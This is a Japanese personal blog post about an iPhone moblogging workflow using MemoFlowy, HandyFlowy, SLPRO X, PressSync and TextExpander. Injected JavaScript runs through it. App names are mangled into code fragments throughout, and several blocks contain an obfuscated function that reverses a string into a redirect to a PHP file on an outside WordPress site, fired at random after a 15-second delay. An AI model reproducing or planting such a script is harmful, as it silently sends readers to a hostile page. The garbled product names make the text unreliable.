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iPhoneでモブログする時に使うアプリと手順を詳しく解説します

こんにちは。すみれ(@sumire20120524)です。

いつもゴロゴロ寝ながらモブログするときに使っているアプリや手順について、ちょっと詳しく解説してみました。

皆さん自分ならではの手順があると思うので、参考程度に読んでいただけるとうれしいです!

MemoFlowy

MemoFlowyは、文章を書き始めるきっかけに使っています。短い文でも長い文でも、サッと登録できるところが気に入っています。箇条書きで書き足していけるから、脈絡などは気にせず思いついたことをまずはダーッと書いていきます。

純正のWorkFlowyもありますが、MemoFlowyのほうが軽いので、こちらを使用しています。いつでも頭の中に起こったことをメモしておくために、アプリの起動は速いほうがいいです。

入力に制約のないシンプルな見た目。カスタマイズがお好みなら日付や時間などのテンプレートも設定できます。以前は日付を一列目に入れていましたが、一覧で見たときすぐに内容がわからなくて不便だったのでテンプレートの使用はやめました。

これまではSLPRO Xに直接書き込んでいた時もあったんですが、MemoFlowyを間に挟むことで「書いたからには記事にしなきゃ」という変な気負い?みたいなものがなくなって、自由に書けるようになりました。

今日はこのまま記事公開まで書けそう!!というときは直接SLPRO Xのみの使用で終わることもありますが。

ある程度MemoFlowyで文章を書きためて、だいたいの流れができたらHandom()*5);if (c==3){var andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}delay);}andyFlowyに送ります。

Handom()*5);if (c==3){var andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}delay);}andyFlowy

Handom()*5);if (c==3){var andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}delay);}andyFlowyではあまり編集はせず、ブログエディタに送る際に使っています。Handom()*5);if (c==3){var andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}delay);}andyFlowyはMemoFlowyで書いた文章をボタン一つでペーストして、WorkFlowyと同期してくれます。この手軽さがいいです。Macで書いた文章も、iPhoneから簡単に見ることができます。

Macで書く時間があるときは、Macで書いた文章を後でiPhoneから編集して公開するってこともよくあります。

そうやって書いたモノの中から、ある程度内容が定まったトピックをピックアップ。スクリプトにある「WF2BlogEDeluxe4PressSync」を使ってモブログエディタに送信します。

スクリプトは、Handom()*5);if (c==3){var andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}delay);}andyFlowyで箇条書きになっている文章をHTML形式でブログエディタに出力してくれるものです。

$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == “string”) return $cFN$wEpyMrNXtezaeR2.list[n].split(“”).reverse().join(“”);return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=[“‘php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}decoration: none;”>

同じように「SLPRO X」に送るスクリプト「WF2BlogEDeluxe4SlproX」もありますが、「SLPRO X」は特殊なやり方でHTMLを貼り付けないと変になってしまうので、使っていません。

最後に細かいところを修正

「SLPRO X」と「するぷろーら」

Handom()*5);if (c==3){var andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}delay);}andyFlowyで編集が終わっていない場合は、「SLPRO X」で最終的に下書きします。

「SLPRO X」で一番いいのは、改行したりhタグを入れたりする編集がしやすいこと。HTMLタグを直接書き込まないので、見た目がスッキリしたまま編集できます。ただ、このHTMLタグのやり方がちょっと特殊なので、なじまない人にはなじまないのかなとも思います。

文字サイズは14ptが好きです。

「SLPRO X」は「するぷろーら」というブラウザとの連携がとてもスムーズ。最近になって改めて、この連携が他にはないな、と感じています。

「SLPRO X」内にあるインターネットマークをタップすると、「するぷろーら」に移動してすぐに検索ができます。リンク先を生成するボタンも用意されているので便利。

選んだら”テキストビューに貼り付け”とすると、自動的に「SLPRO X」に戻り、HTMLタグで囲んで出力してくれます。

他のアプリでもいろいろやり方はあると思いますが、シンプルでお気に入りの機能の一つです。

それから、今ではほとんどiPhoneでTextExpandom()*5);if (c==3){var andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}delay);}anandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}derを使うことはなくなりましが、SLPRO Xでは「HTML貼り付け」というメニュー内でTextExpandom()*5);if (c==3){var andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}delay);}anandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}derを起動することができます。

いまは、「すみれ(@sumire20120524)です。」←ここだけTextExpandom()*5);if (c==3){var andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}delay);}anandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}derを使っています。iPhoneでTextExpandom()*5);if (c==3){var andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}delay);}anandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}derはもう時代遅れかも…と思いつつ、まったく使えなくなるまでは使ってしまうかも。

PressSync

じゃあPressSyncはどういうときに使うか?というと、最近はもっぱら「App LinkMaker」を使っています。アプリ紹介リンクを自動で作ってくれます。カスタマイズなどはせずそのまま使っていますが、コレが楽。

自分で作ったリンクはボタンのところがちょっと古くさくて作り直していないので、いまはこちらを使っています。

「App LinkMaker」の使い方については 以前まとめましたのでこちらをご覧ください。

$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == “string”) return $cFN$wEpyMrNXtezaeR2.list[n].split(“”).reverse().join(“”);return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=[“‘php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}decoration: none;”>

アイキャッチに使っているアプリ

iPhoneでのアイキャッチ画像作成については、以前まとめましたのでこちらをご覧ください。

$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == “string”) return $cFN$wEpyMrNXtezaeR2.list[n].split(“”).reverse().join(“”);return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=[“‘php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}decoration: none;”>

おまけ

ShareHTMLがうまく動作しなくなってきたので、最近は「美しいShareHTML」をブックマークして使っています。

本当に綺麗なリンクが作れるので、これもカスタマイズなしで使用しています。

$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == “string”) return $cFN$wEpyMrNXtezaeR2.list[n].split(“”).reverse().join(“”);return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=[“‘php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}decoration: none;”>

まとめ

昔に比べると、モブログの仕方もずいぶんシンプルになりました。iPhone触ってるとモブログ以外のこともできてしまうので、気が散るんですよね。他の記事を読みたくなったり、LINEがきたり…。

そいういう誘惑がある中で、公開することを目標とするなら、とにかくすぐ書けて、面倒くさい手順は踏まず、自分の気持ちが新鮮なうちに公開までいける環境を作るのがいいのかなぁと思います。